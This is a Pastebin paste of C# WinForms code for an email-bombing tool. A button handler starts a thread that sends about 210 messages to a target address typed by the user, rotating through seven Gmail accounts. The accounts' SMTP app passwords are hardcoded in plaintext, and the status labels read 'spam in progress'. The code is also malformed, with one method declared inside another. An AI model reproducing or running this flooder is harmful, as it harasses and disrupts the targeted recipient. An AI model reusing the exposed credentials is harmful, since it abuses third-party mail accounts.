zullana

Untitled

Oct 3rd, 2022 (edited)
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.94 KB | None | 0 0
  1.  public static async Task<Boolean> a()
  2.         {
  3.             public void button63_Click(object sender, EventArgs e)
  4.             {
  5.  
  6.                 //GayEmail f2 = new GayEmail();
  7.                 //f2.Show();
  8.                 string headeremail = "";
  9.                 string bodyemail = "";
  10.                 string email = "";
  11.                 int messagee = 240;
  12.  
  13.                 email = emailget.Text;
  14.                 bodyemail = bodyemailget.Text;
  15.                 headeremail = headeremailget.Text;
  16.                 new Thread(() =>
  17.                 {
  18.                     for (int cycle = 0; cycle < 30; cycle++)
  19.                     {
  20.  
  21.                         messagee = messagee - 30;
  22.                         statusspamemail.Text = "Status: Идет спам";
  23.                         label103.Text = "Messages: " + messagee;
  24.                         if (cycle == 0)
  25.                         {
  26.                             statusspamemail.Text = "Status: Ждет почту";
  27.                             label103.Text = "Messages: 0";
  28.                         }
  29.                         var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  30.                         var stringChars = new char[3];
  31.                         var random = new Random();
  32.  
  33.                         for (int i = 0; i < stringChars.Length; i++)
  34.                         {
  35.                             stringChars[i] = chars[random.Next(chars.Length)];
  36.                         }
  37.  
  38.                         var finalString = new String(stringChars);
  39.                         using (MailMessage mail = new MailMessage())
  40.                         {
  41.  
  42.                             mail.From = new MailAddress("[email protected]");
  43.                             mail.To.Add(email);
  44.                             mail.Subject = headeremail + finalString;
  45.                             mail.Body = bodyemail + finalString;
  46.                             mail.IsBodyHtml = true;
  47.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  48.  
  49.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  50.                             {
  51.                                 smtp.Credentials = new NetworkCredential("[email protected]", "fhurygkyypgcgobd");
  52.                                 smtp.EnableSsl = true;
  53.                                 smtp.Send(mail);
  54.                             }
  55.                         }
  56.                         using (MailMessage mail = new MailMessage())
  57.                         {
  58.  
  59.                             mail.From = new MailAddress("[email protected]");
  60.                             mail.To.Add(email);
  61.                             mail.Subject = headeremail + finalString;
  62.                             mail.Body = bodyemail + finalString;
  63.                             mail.IsBodyHtml = true;
  64.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  65.  
  66.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  67.                             {
  68.                                 smtp.Credentials = new NetworkCredential("[email protected]", "libpugjmshkhdsur");
  69.                                 smtp.EnableSsl = true;
  70.                                 smtp.Send(mail);
  71.                             }
  72.                         }
  73.                         using (MailMessage mail = new MailMessage())
  74.                         {
  75.  
  76.                             mail.From = new MailAddress("[email protected]");
  77.                             mail.To.Add(email);
  78.                             mail.Subject = headeremail + finalString;
  79.                             mail.Body = bodyemail + finalString;
  80.                             mail.IsBodyHtml = true;
  81.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  82.  
  83.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  84.                             {
  85.                                 smtp.Credentials = new NetworkCredential("[email protected]", "ctzagpphbayugako");
  86.                                 smtp.EnableSsl = true;
  87.                                 smtp.Send(mail);
  88.                             }
  89.                         }
  90.                         using (MailMessage mail = new MailMessage())
  91.                         {
  92.  
  93.                             mail.From = new MailAddress("[email protected]");
  94.                             mail.To.Add(email);
  95.                             mail.Subject = headeremail + finalString;
  96.                             mail.Body = bodyemail + finalString;
  97.                             mail.IsBodyHtml = true;
  98.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  99.  
  100.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  101.                             {
  102.                                 smtp.Credentials = new NetworkCredential("[email protected]", "mqyglsxyhimxoecu");
  103.                                 smtp.EnableSsl = true;
  104.                                 smtp.Send(mail);
  105.                             }
  106.                         }
  107.                         using (MailMessage mail = new MailMessage())
  108.                         {
  109.  
  110.                             mail.From = new MailAddress("[email protected]");
  111.                             mail.To.Add(email);
  112.                             mail.Subject = headeremail + finalString;
  113.                             mail.Body = bodyemail + finalString;
  114.                             mail.IsBodyHtml = true;
  115.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  116.  
  117.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  118.                             {
  119.                                 smtp.Credentials = new NetworkCredential("[email protected]", "qfscftvvzfzgfksx");
  120.                                 smtp.EnableSsl = true;
  121.                                 smtp.Send(mail);
  122.                             }
  123.                         }
  124.                         using (MailMessage mail = new MailMessage())
  125.                         {
  126.  
  127.                             mail.From = new MailAddress("[email protected]");
  128.                             mail.To.Add(email);
  129.                             mail.Subject = headeremail + finalString;
  130.                             mail.Body = bodyemail + finalString;
  131.                             mail.IsBodyHtml = true;
  132.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  133.  
  134.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  135.                             {
  136.                                 smtp.Credentials = new NetworkCredential("[email protected]", "kjhanfinwnhszwkv");
  137.                                 smtp.EnableSsl = true;
  138.                                 smtp.Send(mail);
  139.                             }
  140.                         }
  141.                         using (MailMessage mail = new MailMessage())
  142.                         {
  143.  
  144.                             mail.From = new MailAddress("[email protected]");
  145.                             mail.To.Add(email);
  146.                             mail.Subject = headeremail + finalString;
  147.                             mail.Body = bodyemail + finalString;
  148.                             mail.IsBodyHtml = true;
  149.                             //mail.Attachments.Add(new Attachment("C:\\file.zip"));
  150.  
  151.                             using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
  152.                             {
  153.                                 smtp.Credentials = new NetworkCredential("[email protected]", "qvamtzvgepdifkjx");
  154.                                 smtp.EnableSsl = true;
  155.                                 smtp.Send(mail);
  156.                             }
  157.                         }
  158.                     }
  159.                 }).Start();
  160.  
  161.             }
  162.             return true;
  163.         }
  164.        
Advertisement
Add Comment
Please, Sign In to add comment